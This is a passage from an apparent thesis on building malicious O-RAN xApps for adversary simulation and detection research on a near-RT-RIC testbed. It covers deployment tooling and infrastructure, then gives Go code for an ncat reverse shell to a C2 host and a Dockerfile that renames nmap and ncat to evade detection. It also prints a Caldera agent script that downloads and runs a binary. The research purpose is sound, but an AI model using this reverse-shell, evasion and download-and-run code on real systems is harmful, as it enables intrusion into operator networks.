10 print_step " Pushing image to Harbor registry "
11 docker push ${ HARBOR_REGISTRY }/${ HARBOR_PROJECT }/${ IMAGE_NAME }:${

IMAGE_TAG }

Listing 5.2: Docker Tag and Push Command Example

5.4.3 Onboarding and Installation

The onboarding and installation of an xApp is performed using the dms_cli tool,
which is a part of the O-RAN SC provided SDK. The dms_cli tool provides a set of
commands for the management of the xApp lifecycle, including onboarding, instal-
lation, upgrading, rollback, deinstallation and downloading of the xApp descriptor
and Helm chart. The dms_cli tool is used to automate the deployment of the xApp
to the near-RT-RIC testbed. A command reference of the dms_cli tool is provided
in appendix 8.3. The xApp lifecycle processes managed by the dms_cli tool are
depicted in figure 5.3.
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Figure 5.3: dms_cli Tool: xApp Lifecycle Management [59]

5.4.4 Onboarding

The onboarding process involves the creation of a locally stored Helm chart, represent-
ing the xApp Kubernetes instance, for installation on the near-RT-RIC testbed. The
local Helm chart repository used throughout this thesis is ChartMuseum, that servers
the role of storing and serving the Helm charts to the AppMgr for the installation of
the xApp. The Helm chart is created using the dms_cli tool, which generates the
chart based on the xApp descriptor. The Helm chart can then be queried from the
ChartMuseum repository. The onboarding process and prerequisites are outlined
below.

• Prerequisites:

– xApp descriptor and schema file for validation
– dms_cli tool
– Helm and Helm chart repository (ChartMuseum)
– near-RT-RIC testbed infrastructure

• Validation of the xApp descriptor using the schema file
• Generation of the Helm chart using the descriptor file
• Storage of the Helm chart in the local Helm chart repository (ChartMuseum)
• Name and version of the xApp constitute the Helm chart identifier
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An example of the onboarding process using the dms_cli tool is shown in listing 5.3
below.

1 # Onboarding the xApp
2 print_step " Onboarding xApp"
3 dms_cli onboard -- config_file_path =config -file.json \\
4 -- shcema_file_path = schema .json

Listing 5.3: Onboarding Process Example

5.4.5 Installation

The installation process is performed using the dms_cli tool, and contacts the
AppMgr to instantiate the xApp Kubernetes pod using the Helm chart in the local
repository. The installation process is outlined below.

• Prerequisites:

– Helm chart of xApp stored in local Helm chart repository
– Container image of xApp stored in accessible container registry
– dms_cli tool
– near-RT-RIC testbed infrastructure

• dms_cli tool contacts the AppMgr with the name, version and target namespace
of the xApp

• AppMgr fetches the Helm chart from the local Helm chart repository
• Container image of xApp is pulled from the container registry, specified in the

Helm chart
• Kubernetes pod is created using the pulled image and parameters from the

Helm chart
• xApp is registered with the AppMgr and the near-RT-RIC

An example of the installation process using the dms_cli tool is shown in listing 5.4
below.

1 # Installation of the xApp
2 print_step " Installing xApp"
3 dms_cli install -- xapp_chart_name ={{ xapp_chart_name }} \\
4 --version ={{ xapp_version }} --namespace = ricxapp

Listing 5.4: Installation Process Example
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5.4.6 Deinstallation

The deinstallation process terminates the xApp’s Kubernetes pod and frees the
allocated resources. The deinstallation process is performed using the dms_cli tool,
and is outlined below.

• Prerequisites:

– Running xApp instance on the near-RT-RIC testbed
– dms_cli tool

• dms_cli tool contacts the AppMgr with the name and namespace of the xApp
to be deinstalled

• AppMgr initiates the termination of the xApp’s Kubernetes pod
• Kubernetes sends termination signal to the xApp’s pod, giving it a grace period

to terminate
• xApp is deregistered with the AppMgr and the near-RT-RIC
• After the grace period expires, the pod is forcefully terminated and the allocated

resources are freed

An example of the deinstallation process using the dms_cli tool is shown in listing
5.5 below.

1 # Deinstallation of the xApp
2 print_step " Deinstalling xApp"
3 dms_cli deinstall -- xapp_chart_name ={{ xapp_chart_name }} \\
4 --namespace = ricxapp

Listing 5.5: Deinstallation Process Example

5.4.7 Upgrading and Rollback

The upgrade and rollback procedures are performed using the dms_cli tool, and
allow for the change of release versions of the xApp. These processes aid in the
deployment of new patches or rolling back to a stable version. The upgrade and
rollback procedures utilize the install and deinstallation processes and are detailed
below.

• Prerequisites:

– Running xApp instance on the near-RT-RIC testbed
– dms_cli tool
– near-RT-RIC testbed infrastructure
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• dms_cli tool contacts the AppMgr with the name, current version, target
version and namespace of the xApp

• AppMgr execute deinstallation of the current version of the xApp
• AppMgr execute installation of the new version of the xApp
• xApp is registered with the AppMgr and the near-RT-RIC [59]

An example of the upgrade and rollback processes using the dms_cli tool is shown
in listing 5.6 below.

1 # Upgrade of the xApp
2 print_step " Upgrading xApp"
3 dms_cli upgrade -- xapp_chart_name ={{ xapp_chart_name }} \\
4 --old_version ={{ xapp_version_current }} \\
5 --new_version ={{ xapp_version_target }} \\
6 --namespace = ricxapp
7

8 # Rollback of the xApp
9 print_step " Rolling back xApp"

10 dms_cli rollback -- xapp_chart_name ={{ xapp_chart_name }} \\
11 --new_version ={{ xapp_version_target }} \\
12 --old_version ={{ xapp_version_current }} \\
13 --namespace = ricxapp

Listing 5.6: Upgrade and Rollback Process Example

5.5 Infrastructure Setup
This section outlines the infrastructure testbed used for the development, testing and
deployment of xApps in the O-RAN ecosystem. The infrastructure is depicted in the
figure 5.4. The core component of the infrastructure comprises a Dell PowerEdge
R650xs server with the a 24 Core Intel Xeon Gold 5318Y processor running at
2.10GHz, 128GB of RAM and 4TB of Hard Disk Drive (HDD) storage. The server
runs a type 1 hypervisor, Proxmox Virtual Environment (PVE) version 8.4.1, which
provides the computational, storage and networking abstractions to orchestrate the
virtualized testbed and conduct the experiments.
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Figure 5.4: xApp Testbed Infrastructure

5.5.1 Near-RT RIC Testbed

The central component of the testbed is the near-RT-RIC platform, which provides the
execution environment for xApps. The architecture and inner workings of the near-RT-
RIC platform are discussed in detail in section 3.2. This platform is hosted on a virtual
machine in the PVE hypervisor, using a Ubuntu 24.04 LTS operating system, with 8
vCPUs and 32GB of RAM. The O-RAN release employed throughout this thesis is the
I-release, which was released in December 2023 O-ReleasesReleasesConfluence.
The near-RT-RIC platform is based on a Kubernetes cluster, running K3s, which a
lightweight, highly available and certified Kubernetes distribution used to orchestrate
Kubernetes workloads. The near-RT-RIC platform is deployed using the officially
provided Helm charts in the O-RAN SC Gerrit code repository [77] [78].
The installation of the near-RT-RIC platform using the Helm charts is performed
using the command shown in listing 5.7 below, however, there are various other
configurations and dependencies required to deploy the near-RT-RIC platform. These
are out of scope of this thesis and are not discussed in detail.

1 helm install nearrtric -n ricplt local/ nearrtric -f \\
2 helm - overrides / nearrtric /minimal -nearrt -ric.yaml

Listing 5.7: Installation of Near-RT RIC using Helm
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A Kubernetes minimal deployment view of the near-RT-RIC platform, including its
pods and services and a sample xApp is depicted in figure 5.5 and figure 5.6.

Figure 5.5: Kubernetes Deployment View of Near-RT RIC pods

Figure 5.6: Kubernetes Deployment View of Near-RT RIC Services

Kubernetes Namespaces

The Kubernetes cluster of the near-RT-RIC platform is divided into three main
namespaces, as discussed below.

• kube-system: Kubernetes infrastructure pods for operational purposes
• ricplt: Pods for O-RAN components (AppMgr, SubMgr, etc.)
• ricxapp: Pods for xApps

5.5.2 Development Environment

The development environment is used to develop, test and debug the xApp and
is hosted on the PVE hypervisor, using a Ubuntu 24.04 LTS operating system,
with 8 vCPUs and 32GB of RAM. The development environment contains the
code base, xApp framework, dependencies for the local testing of the xApp and
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Docker environment for container building, testing and interaction with the container
registry.
The development environment contains the following key components:

• xApp code base and code templates
• xApp Go framework
• Go programming language
• Helm for the deployment of xApp through dms_cli
• ChartMuseum for the storage and distribution of the Helm charts
• dms_cli for onboarding, installing, upgrading, rolling back and deinstalling

xApps
• Dependencies for local testing, such as the RMR and RMR-dev packages
• Environment variables for the xApp testing such as CFG_FILE and RMR_-

SEED_RT for xApp configuration file and RMR seed runtime configuration
• Docker for container building and testing
• Git for version control

5.5.3 Container Registry Harbor

The Harbor container registry serves the role for storing and distributing the xApp
images. The features of Harbor are discussed in section 5.4.2. The registry is hosted
on a separate VM on the PVE hypervisor with sufficient storage for the xApp images.
The Harbor instance is deployed using Helm on a separate Kubernetes cluster based
on K3s and is the only component that is publicly routed outside of the internal
environment, which is only accessible via a Virtual Private Network (VPN). The
registry is served through the network of the Deutsches Forschungsnetz (DFN) and
available at public URL https://knast.dn.fh-koeln.de. The Harbor endpoint
is secured using a Let’s Encrypt certificate and only serves Hypertext Transfer
Protocol Secure (HTTPS) traffic. The interaction with Harbor in this orchestrated
environment, exclusively occurs via Harbor’s API. The Harbor web-interface is
depicted in figure 5.7. A Kubernetes deployment view of the Harbor instance is
depicted in figure 5.8.
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Figure 5.7: Harbor Web-Interface

The following figure depicts the Kubernetes deployment of the Harbor instance,
including its pods and services

Figure 5.8: Kubernetes Deployment View of Harbor
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5.5.4 Caldera Adversary Simulation Platform

The Caldera adversary simulation platform is central to orchestration of adversarial
activities through the malicious xApp instances. The platform’s features are discussed
in more detail in section 2.3.2. The Caldera instance is deployed on a separate VM on
the PVE hypervisor, using a Ubuntu 24.04 LTS operating system, with 8 vCPUs and
16GB of RAM. The Caldera instance is directly installed on the operating system
and managed via systemd. The version employed in this thesis is 4.2.0. An example
of the Caldera interface, specifically an overview of adversary profile and a connected
agent, are depicted in figure 5.9 and figure 5.10.
The following figure depicts the overview of the adversary profile A2-ORAN-RIC
Enumerator in the Caldera interface.

Figure 5.9: Caldera Interface: Adversary Profile

The following figure depicts the connected agent ofnaxc in the Caldera interface.

Figure 5.10: Caldera Interface: Connected Agent

5.5.5 Management and Orchestration Machine

The infrastructure described above is managed and orchestrated from a central
machine. The management machine is deployed as a separate VM on the PVE
hypervisor, using a Ubuntu 24.04 LTS operating system, with 8 vCPUs and 16GB of
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RAM. This machine is used to develop and automate the provisioning and configura-
tion of infrastructure components. The main tools facilitating the orchestration and
automated rollout of the entire infrastructure are OpenTofu/Terraform and Ansible.

5.6 Automation and Maintenance
The complexity of the infrastructure due to its heterogeneous and diverse appli-
cation ecosystem, requires a robust and automated approach to the provisioning
and configuration of its components. This ensures that the infrastructure is consis-
tent, reproducible and manageable, without the need for manual installation and
configuration of the environment. The main tools employed for this purpose are
OpenTofu/Terraform and Ansible.

5.6.1 OpenTofu/Terraform

Terraform is a tool developed by HashiCorp, that facilitates the Infrastructure
as Code (IaC) approach through managing the lifecycle of cloud- and on-premise
infrastructure. The tool allows for the declarative configuration, versioning, sharing
and deployment of infrastructure. There exist a multitude of providers for the
different infrastructure ecosystems, the provider employed throughout this thesis is
the PVE provider, due the hypervisor being used. The licensing model of HashiCorp
has driven the development of OpenTofu, which is an open-source, community-
driven fork of Terraform. OpenTofu is used to manage the PVE hypervisor and the
infrastructure components deployed on it. The IaC implementation is out of scope
of this thesis [79]–[81].

5.6.2 Ansible

The configuration of the deployed infrastructure is performed using Ansible. Ansible
is a tool for configuration management of various infrastructure components and
applications. It facilitates the automated configuration of the Operating System (OS),
updates, user management, authentication, networks and interfaces, Kubernetes
clusters and applications. This makes it a powerful tool for consistently configuring
and maintaining the infrastructure and application ecosystem described in this thesis.
The means of implementation of the infrastructure configuration is out of scope of
this thesis [82].
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5.7 Design
This section discusses the design decisions made for the xApp and the interaction
with the system components.
There exist two main xApp design patterns, the reactive and the general xApp.
The reactive xApp operates in a passive manner and only reacts in response to
incoming RMR messages through defined callback procedures. This pattern is
an adoption of the event-driven architecture, in the context of the near-RT-RIC
ecosystem. In contrast, the general xApp offers more flexibility, by enabling the
developer to implement the custom control logic as required, without requiring
the implementation of the RMR interface. This approach is more suitable to the
development of malicious xApps, for the purpose of adversarial simulation, since the
adversarial behavior can be implemented and triggered without the need for certain
events to occur. Furthermore, it allows for more versatility in regards to targeting
container isolation mechanisms and interacting independently with the near-RT-RIC
environment. Furthermore, the testbed setup does not integrate with disaggregated
gNB components, hence no E2 node interaction arises and the primary focus is on
the near-RT-RIC and its components and underlying infrastructure. Both design
patterns rely on the same libraries and benefit from automatic registration with the
AppMgr.
The malicious behavior of the xApp is developed using the Go programming language,
due to the benefits mentioned in section 5.3.1. The malicious xApp is implemented
as a general xApp, leveraging the O-RAN SC’s ric-app-hw-go xApp as a foundational
template. This reference implementation provides a comprehensive starting point for
developing xApps using the Go xApp framework. This prototype implementation
provides fundamental implementations of various capabilities, including, but not
limited to, persistent storage operations, RMR health monitoring, metric generation
and E2/A1 interface interactions [83].

5.8 Implementation
This section discusses the key implementation aspects for developing a malicious xApp,
while adhering to the fundamental structure and implementing the core functionality
required for operating a functional xApp in the near-RT-RIC environment. The first
section examines the source code implementation details of the xApp, including main
entry points and flow of execution. The second section addresses aspects related to
the containerization of the xApp, including the core aspects of the Dockerfile such as
the multi-stage build process, the base images, environment variables, dependencies
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and integration of packages that facilitate the adversarial behavior. The final section
discusses the compilation and execution of the xApp, including the deployment in
the near-RT-RIC environment and the integration of the xApp with the Caldera
adversary simulation platform.

5.8.1 Source Code

This section examines significant source code implementation details of the malicious
xApp, focusing on its main entry points, execution flow, and key components that
enable the adversarial behavior within the near-RT-RIC environment.
The libraries employed for the implementation entail the following packages, listed in
the code snippet 5.8 below. Besides the three libraries supplied by the O-RAN SC,
there are two additional libraries required for the implementation of the malicious
functionality of the xApp. The first library is the net package, which facilitates the
Command and Control (C2) communication and interaction with the near-RT-RIC
through tools such as nmap, which is used to scan the environment and conduct re-
connaissance activities. Furthermore, the os/exec package facilitates interaction with
container OS, extracting information from the container and executing commands to
fulfill its malicious goals.

1 import (
2 "bufio"
3 " encoding /json"
4 "fmt"
5 "net"
6 "os/exec"
7 " strings "
8 "sync"
9 "time"

10

11 " gerrit .o-ran -sc.org/r/ric -plt/alarm -go.git/alarm"
12 " gerrit .o-ran -sc.org/r/ric -plt/xapp -frame/pkg/ clientmodel "
13 " gerrit .o-ran -sc.org/r/ric -plt/xapp -frame/pkg/xapp"
14 )

Listing 5.8: Malicious xApp: Import Statements

The code snippet 5.9 depicts the main entry point of the malicious code, which is
triggered upon successful registration of the xApp in the near-RT-RIC environment.
The method begins by logging the successful registration, retrieving the list of available
gNBs instances connected to the near-RT-RIC, and establishing subscription requests
to each of them. Subsequently, the xApp enters the method triggerConnectionRequest,
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which is the central starting point for exercising and orchestrating the adversarial
operations. The method comprises a multitude of reconnaissance and data exfiltration
activities, ending in the establishment of a malicious connection to the C2-Server.

1 func (e *HWApp) xAppStartCB (d interface {}) {
2 xapp. Logger .Info("xApp ready call back received ")
3

4 // get the list of all NBs
5 nbList := e. getnbList ()
6

7 // send subscription request to each of the NBs
8 for _, nb := range nbList {
9 e. sendSubscription (nb. InventoryName )

10 }
11

12 // Execute the adversarial operations
13 e. triggerConnectionRequest ()
14 }

Listing 5.9: Malicious xApp: Main Entry Point

The os/exec package is further used to extract information from the container in the
deployed environment, such as the IP address. An excerpt of this functionality is
depicted in the code snippet 5.10 below.

1 // Get local IP
2 addrs , _ := net. InterfaceAddrs ()
3 var localIP string
4 for _, addr := range addrs {
5 if ipnet , ok := addr .(* net.IPNet); ok && !ipnet.IP. IsLoopback

() {
6 if ipnet.IP.To4 () != nil {
7 localIP = ipnet.IP. String ()
8 break
9 }

10 }
11 }

Listing 5.10: Malicious xApp: Get IP Address

This information is in turn used to establish a reverse shell connection for manual or
for integration with the Caldera adversary simulation platform. Furthermore, the IP
address is used to scan the network on the near-RT-RIC environment, to identify
the available components and interact with them. The nmap binary is renamed
to xapp-metrics-collector and is used to perform the reconnaissance activities. An
example of such reconnaissance activity, facilitate through nmap is depicted in the
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code snippet 5.11 below.
1 Execute the nmap ping sweep
2 sendMsg ("\ nStarting ping sweep ...")
3 cmd := exec. Command ("xapp -metrics - collector ", "-sn",

targetNetwork , "-oG", "-")
4 stdout , _ := cmd. StdoutPipe ()
5 stderr , _ := cmd. StderrPipe ()

Listing 5.11: Malicious xApp: Nmap

The most versatile approach for conducting adversarial activities is achieved through
the integration with the Caldera adversary simulation platform. The establishment
of a reverse shell connection to the C2 server, with the ability to execute commands
and integrate the xApp with Caldera is depicted in the code snippet 5.12 below.
Note that the ncat binary is renamed to xapp-health-monitor and is used to establish
the reverse shell connection.

1 // Establish reverse shell connection to C2 - Server
2 cmd = exec. Command ("xapp -health - monitor ",
3 revShellIP ,
4 revShellPort ,
5 "-e",
6 "/bin/bash",
7 "-v")
8 stdout , _ = cmd. StdoutPipe ()
9 stderr , _ = cmd. StderrPipe ()

Listing 5.12: Malicious xApp: Reverse Shell

The malicious goals and operations of the various xApp implementations are discussed
in chapter 6.

5.8.2 Docker Image

This section examines the implementation details regarding the containerization of
the xApp. The Dockerfile is a multi-stage build, meaning that there is more than
one stage in the build process. The first stage is the builder stage, which is used to
compile the xApp source code into a binary and save it to the local workspace. The
base image is a custom builder image, based on an Ubuntu 20.04 container operating
system, hosted in the O-RAN SC Nexus staging repository. The builder image comes
prepackaged with necessary dependencies for building the xApp, such as the Go
programming language. The first stage installs the necessary utilities and the RMR
library and header files for compiling the xApp. Furthermore, it sets the working
directory to the xApp root directory, copies the xApp source code to the container,
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sets the required Go environment variables for the compilation process and finally
compiles the xApp source code into a binary. The first stage of the Docker file is
depicted in listing 5.13.

1 # Build the malicious xApp
2

3 # O-RAN SC Nexus Staging Repository Port 10004
4 FROM nexus3 .o-ran -sc.org :10004/o-ran -sc/bldr -ubuntu20 -c-go :1.1.1

as build - revshell
5

6 # Install utilities
7 RUN apt update && apt install -y iputils -ping net -tools curl sudo

ca - certificates
8

9 # Install RMr shared library & development header files
10 RUN wget --content - disposition https :// packagecloud .io/o-ran -sc/

release / packages / debian / stretch /rmr_4 .7.0 _amd64 .deb/ download .deb
\

11 && dpkg -i rmr_4 .7.0 _amd64 .deb && rm -rf rmr_4 .7.0 _amd64 .deb
12 RUN wget --content - disposition https :// packagecloud .io/o-ran -sc/

release / packages / debian / stretch /rmr -dev_4 .7.0 _amd64 .deb/ download
.deb \\

13 && dpkg -i rmr -dev_4 .7.0 _amd64 .deb && rm -rf rmr -dev_4 .7.0 _amd64 .
deb

14

15 # Install dependencies , compile and test the module
16 RUN mkdir -p /go/src/ revshell
17 COPY . /go/src/ revshell
18

19 WORKDIR "/go/src/ revshell "
20

21 ENV GO111MODULE =on GO_ENABLED =0 GOOS=linux
22

23 RUN go build -a -installsuffix cgo -o revshell revshell .go

Listing 5.13: Dockerfile: Builder Stage (1st stage)

The second stage is the final stage, which is used to define the deployment container as
depicted in code snippet 5.14. The final stage sets environment variables required for
the operation of the xApp application, copies the compiled binary, configuration files
and libraries to the deployment container, and sets the entrypoint to the compiled
binary. Furthermore, this stage installs multiple packages facilitating malicious
xApp operations, such as the nmap tool for network reconnaissance and ncat for C2
communication. In order to diminish the risk of detection, some of the packages are
renamed to resemble legitimate O-RAN SC xApps or other O-RAN functions, such
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as the xapp-metrics-collector and xapp-health-monitor.
1 # Final deployment container
2 FROM ubuntu :22.04
3

4 ENV CFG_FILE = config /config -file.json
5 ENV RMR_SEED_RT = config / uta_rtg .rt
6

7 RUN mkdir / config
8

9 COPY --from=build - revshell /go/src/ revshell / revshell /
10 COPY --from=build - revshell /go/src/ revshell / config /* / config /
11 COPY --from=build - revshell /usr/local/lib /usr/local/lib
12

13 # Update the shared library cache
14 RUN ldconfig
15

16 RUN DEBIAN_FRONTEND = noninteractive apt update && \
17 DEBIAN_FRONTEND = noninteractive apt install -y iputils -ping \\
18 net -tools curl sudo ca - certificates nmap wget netcat \\
19 iproute2 iputils -ping hping3 ncat
20

21 RUN mv /usr/bin/nmap /usr/bin/xapp -metrics - collector \\
22 && chmod 755 /usr/bin/xapp -metrics - collector
23 RUN mv /usr/bin/ncat /usr/bin/xapp -health - monitor \\
24 && chmod 755 /usr/bin/xapp -health - monitor
25 RUN cp /usr/bin/curl /usr/bin/ue - locator \\
26 && chmod 755 /usr/bin/ue - locator
27 RUN mv /usr/sbin/ip /usr/bin/xapp -network - monitor \\
28 && chmod 755 /usr/bin/xapp -network - monitor
29 RUN cp /usr/bin/ base64 /usr/bin/xapp -config - manager \\
30 && chmod 755 /usr/bin/xapp -config - manager
31

32 RUN chmod 755 / revshell
33 CMD ["/ revshell "]

Listing 5.14: Dockerfile: Deployment Container (Final Stage)

The Docker build command is used to build the final xApp image, which is then
uploaded to the Harbor container registry. From there, it can be deployed in the
near-RT-RIC environment. The Docker build command is discussed in section 5.4.1.
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5.9 Testing and Debugging
The xApp is tested and debugged in on the development machine, which has all the
necessary tools for compiling the xApp, building and uploading the xApp image to
the Harbor registry and executing the xApp in the local environment, without the
need for deployment on the near-RT-RIC environment.
There exist two primary means of execution of the xApp in the development envi-
ronment. The first method entails the execution of the binary directly, without the
need for containerization. The second method comprises the containerization of the
xApp, using the Dockerfile as discussed in section 5.4.1, and running the Docker
container in the local environment. The output of the xApp is redirected to the
console in the first method, while the second method requires the interaction with
the Docker container or Docker CLI to query the logs. The logs provide an insight
into the operation of the xApp, allowing the developer to trace the execution and
identify potential issues.
The xApp binary is compiled using the command shown in listing 5.15 below.

1 go build -a -installsuffix cgo -o revshell revshell .go

Listing 5.15: Compile xApp Binary

5.10 Deployment
The deployment of the xApp in the near-RT-RIC environment is performed using
the dms_cli tool, and requires a valid image in the Harbor registry, as well the
xApp configuration and schema file for the xApp. Since the xApp does not require
any additional control parameters, the schema file does not require any additional
configuration. The xApp configuration file requires the updated xApp name and
version, as well as the container image specification, such as the image name, location
and tag.
The deployment of the xApp, using the dms_cli tool, including the onboarding
and installation process are discussed in section ?? and ??. The entire process
from configuration file changes to the onboarding and installation of the xApp are
automated using Ansible playbooks.
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Execution and Evaluation

This section describes the implementation and execution of attack scenarios on
the near-RT-RIC platform. The attack scenarios are designed to test the security
mechanisms of the near-RT-RIC platform. Furthermore, as this thesis is conducted
in the context of the FORAN project, the attack scenarios serve the purpose for
enhancing detection and defense capabilities and thereby contribute to the FORAN
research project.

6.1 Attack Scenario Development Methodology
The development of attack scenarios is split into two primary approaches. The first
approach entails the development of scenarios that are primarily based on the tooling
and capabilities of the xApp themselves. Thereby, the adversarial behavior is static
and deterministic, as it is based on the xApp’s implemented control logic and binaries
available in the containerized image. Furthermore, this approach entails opening
a reverse shell from the orchestrated near-RT-RIC environment to an external C2
server, that allows an adversary to manually interact and execute commands in the
near-RT-RIC environment. This approach is classified in this thesis as xApp reverse
shell attack scenarios.
The second approach entails the development of scenarios that integrate the Caldera
adversarial simulation framework, in order to enhance and augment the static
adversarial behavior of the first approach. This approach is classified as xApp
Caldera attack scenarios.

6.2 Attack Scenario Design
This section outlines the design of the attack scenarios, which are split into two
categories. The first category comprises the xApp reverse shell attack scenarios, and
the second category describes the xApp Caldera attack scenarios.
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6.2.1 xApp Reverse Shell Attack Scenarios

The reverse shell xApp scenarios, ID-XAPP-01 to ID-XAPP-03, are presented in the
following subsections.

ID-XAPP-01: Reverse Shell Establishment and Basic Reconnaissance

The reverse shell xApp, ID-XAPP-01, is deployed in the near-RT-RIC environment
and establishes an external connection to a publicly routed C2 server. This imple-
mentation demonstrates the potential security risks associated with malicious xApps
in the near-RT-RIC environment, and how network policies and runtime security are
essential to guard against such attacks. The following passage outlines the expected
behavior and execution context of the reverse shell xApp ID-XAPP-01.

• Tool: xApp Reverse Shell (external connection)
• Parameter (container): "/revshell"
• Device Under Test (DUT): near-RT-RIC
• Expected Results:

1. Creation of xApp "ricxapp-revshell"
2. Socket creation to "139.6.19.13:1337 (Transmission Control Protocol

(TCP))"
3. Exfiltration of Pod-Metadata (IP, Hostname)
4. Execution of netstat to show active network connections
5. Listing of running processes via ps faux
6. Socket closed to "139.6.19.13:1337 (TCP)"
7. xApp continues normal operation

• Context: xApp
• Execution: Run xApp Deployment Script using Ansible (from Ansible Host)

This implementation demonstrates how a malicious xApp can access the near-RT-RIC
environment, conduct basic reconnaissance activities, and establish a C2 channel
for remote command execution. The xApp’s ability to continue normal operation
while maintaining the malicious connection, highlights the potential for unauthorized
access in the near-RT-RIC platform through compromised xApps.

ID-XAPP-02: Network Reconnaissance

The second reverse shell xApp, ID-XAPP-02, demonstrates the capability of a
malicious xApp to gather detailed information about the near-RT-RIC environment,
through network scanning and system information collection. This implementation
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shows how compromised xApps can be used to map the internal network topology
and identify potential attack vectors. The following passage outlines the expected
behavior of the network reconnaissance xApp ID-XAPP-02.

• Tool: xApp Reverse Shell (external connection)
• Parameter (container): "/revshell"
• DUT: near-RT-RIC
• Expected Results:

1. Network Reconnaissance:
– Determination of the Pod’s local IP address
– Execution of Nmap ping sweep in the local /24 network
– Detailed port and version scanning of active hosts
– Checking for open web ports (80/443) and collecting HTTP headers

2. System Information Collection:
– Execution of netstat to show active network connections
– Listing of running processes via ps faux

3. Reverse Shell Connection:
– Establishment of TCP connection to knast.dn.fh-koeln.de:1337
– Setup of interactive shell via ncat
– Execution of manual commands by adversary (e.g., ls)

4. Logging:
– Timestamped logging of start and end operations
– Adversarial activity is performed in the background without affecting

normal xApp functionality
– Exfiltration of collected information via established TCP connection

• Context: xApp
• Execution: Run xApp Deployment Script using Ansible (from Ansible Host)

This implementation demonstrates how a malicious xApp can conduct network
reconnaissance while maintaining normal xApp operations. The scenario highlights
the importance of network segmentation and detection of adversarial activity in
protecting the near-RT-RIC environment from information gathering and data
exfiltration attacks.

ID-XAPP-03: Network Reconnaissance with Evasion Techniques

The third reverse shell xApp scenario, ID-XAPP-03, demonstrates the capability of a
malicious xApp to conduct network reconnaissance while employing defense evasion
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techniques through renaming potentially malicious binaries. The attack involves
using renamed binaries (Nmap renamed to xapp-health-monitor, ncat renamed to
xapp-metrics-collector) to avoid detection, while gathering network and system
information. This scenario illustrates how attackers can bypass security controls,
while conducting reconnaissance activities within the near-RT-RIC environment.

• Tool: xApp Reverse Shell and Nmap Scan with renamed binary for defense
evasion

• Parameter (container): "/revshell"
• DUT: near-RT-RIC
• Expected Results:

1. Network Reconnaissance:
– Determination of the Pod’s local IP address
– Execution of Nmap ping sweep in the local /24 network (Nmap

renamed to xapp-health-monitor)
2. System Information Collection:

– Execution of netstat to show active network connections
– Listing of running processes via ps faux

3. Reverse Shell Connection:
– Establishment of TCP connection to knast.dn.fh-koeln.de:1337 via

ncat (renamed to xapp-metrics-collector)
– Setup of interactive shell via ncat
– Execution of manual commands by adversary (e.g., ls)

4. Logging:
– Timestamped logging of start and end operations
– Adversarial activity is performed in the background without affecting

normal xApp functionality
– Exfiltration of collected information via established TCP connection

• Context: xApp
• Execution: Run xApp Deployment Script using Ansible (from Ansible Host)

6.2.2 xApp Caldera Attack Scenarios

The xApp Caldera attack scenarios, ID-XAPP-04 to ID-XAPP-06, are presented
in the following subsections. These attack scenarios employ the Caldera platform
to execute adversarial operations through the Caldera agent. The Caldera agent
is stealthy detached Linux process, that receives its commands from the Caldera
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C2 server. The functionality of the Caldera platform is discussed in more detail in
Section 2.3.2.

ID-XAPP-04: Caldera Integration and Persistence

This scenario demonstrates the capability of a malicious xApp to establish persistent
access and control through a Caldera agent within the near-RT-RIC environment.
The attack involves deploying a Caldera agent that maintains a persistent connection
to the Caldera C2 server, enabling remote command execution and control. This
scenario highlights the potential for long-term compromise and unauthorized access
through compromised xApps.
The following listing, 6.1, outlines the script used to deploy the Caldera agent to the
xApp through the reverse shell communication channel.

1 script -qc /bin/bash /dev/null;
2 server ="http ://192.168.40.33:8888 ";
3 socket =" 192.168.40.33:7010 ";
4 contact ="tcp";
5 agent=$(curl -svkOJ -X POST -H "file:manx.go" -H " platform :linux"

\\
6 $server /file/ download 2>&1 | grep -i "Content - Disposition " \\
7 | grep -io " filename =.*" | cut -d’=’ -f2 | tr -d ’"\r’) \\
8 && chmod +x $agent 2>/ dev/null;
9 nohup ./ $agent -http $server -socket $socket -contact $contact &

Listing 6.1: CALDERA Agent Connection Script

• Tool: xApp Caldera Agent Integration
• Parameter (container): "manx" Agent-Binary
• DUT: near-RT-RIC
• Expected Results:

1. Caldera Agent Connection:
– Establishment of TCP connection to Caldera C2 server (192.168.40.33:7010)
– Download and execution of Caldera manx agent (TCP)
– Setup of persistent connection via keep-alive timer (30-minute inter-

vals)
2. Command Execution:

– Execution of ps faux to list running processes
– Execution of netstat -tulpn to show network connections

3. Logging:
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– Timestamped logging of start and end operations
– Adversarial activity runs in background without affecting normal

xApp functionality
– Caldera agent maintains persistent connection through keep-alive

timers

• Context: xApp
• Execution: Run xApp Deployment Script using Ansible (from Ansible Host)

ID-XAPP-05: Advanced Network Reconnaissance and API Enumeration

This scenario demonstrates the capability of a malicious xApp to conduct network
reconnaissance and API enumeration through the Caldera platform. The attack
involves deploying a Caldera agent that maps the network topology, identifies service
endpoints, and gathers information on other deployed xApps using the AppMgr
component. This implementation showcases how malicious xApps can be used to
gather comprehensive information about the near-RT-RIC environment.

• Tool: xApp Attack Network and API Enumeration via Caldera
• Parameter (container): "manx" Agent-Binary
• DUT: near-RT-RIC
• Expected Results:

1. Network Reconnaissance:
– Determination of the Pod’s local IP address
– Execution of Nmap ping sweep in the local /24 network (Nmap

renamed to xapp-health-monitor)
– Detailed port and version scan on active hosts for ports 80, 443, 8080

and 3800
– HTTP and HTTPS header queries for hosts containing substring

AppMgr in hostname
– Targeted API requests to known AppMgr service endpoints:

∗ /ric/v1/health/ready (System status)
∗ /ric/v1/xapps (xApp list)
∗ /ric/v1/config (Configuration details)
∗ /ric/v1/nodes (Managed nodes)
∗ /ric/v1/status (Health status)

– Results stored in separate files in temporary directory /dev/shm/-
caldera:

∗ /dev/shm/caldera/appmgr_health_<IP>.txt
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∗ /dev/shm/caldera/appmgr_xapps_<IP>.txt
2. Logging:

– Caldera logs each atomic operation with timestamps, execution suc-
cess/failure, command, and output

– Agent connection to Caldera runs in background without affecting
normal xApp functionality

– All collected information stored in /dev/shm/caldera directory for
exfiltration

• Context: xApp
• Execution:

– Run Caldera Operation via Caldera Dashboard

This implementation demonstrates how a malicious xApp can be integrated Caldera
to conduct systematic reconnaissance and attack operations. The structured approach
to information gathering and the ability to executing complex operations highlights
the sophisticated nature of potential xApp-based attacks.

ID-XAPP-06: Obfuscated Caldera Agent Execution

This scenario demonstrates the capability of a malicious xApp to conduct network
reconnaissance and query near-RT-RIC services, through the Caldera platform,
while employing obfuscation techniques to evade detection. The attack involves
deploying a Caldera agent that systematically maps the network topology and
analyzes service endpoints, while maintaining stealth through binary renaming
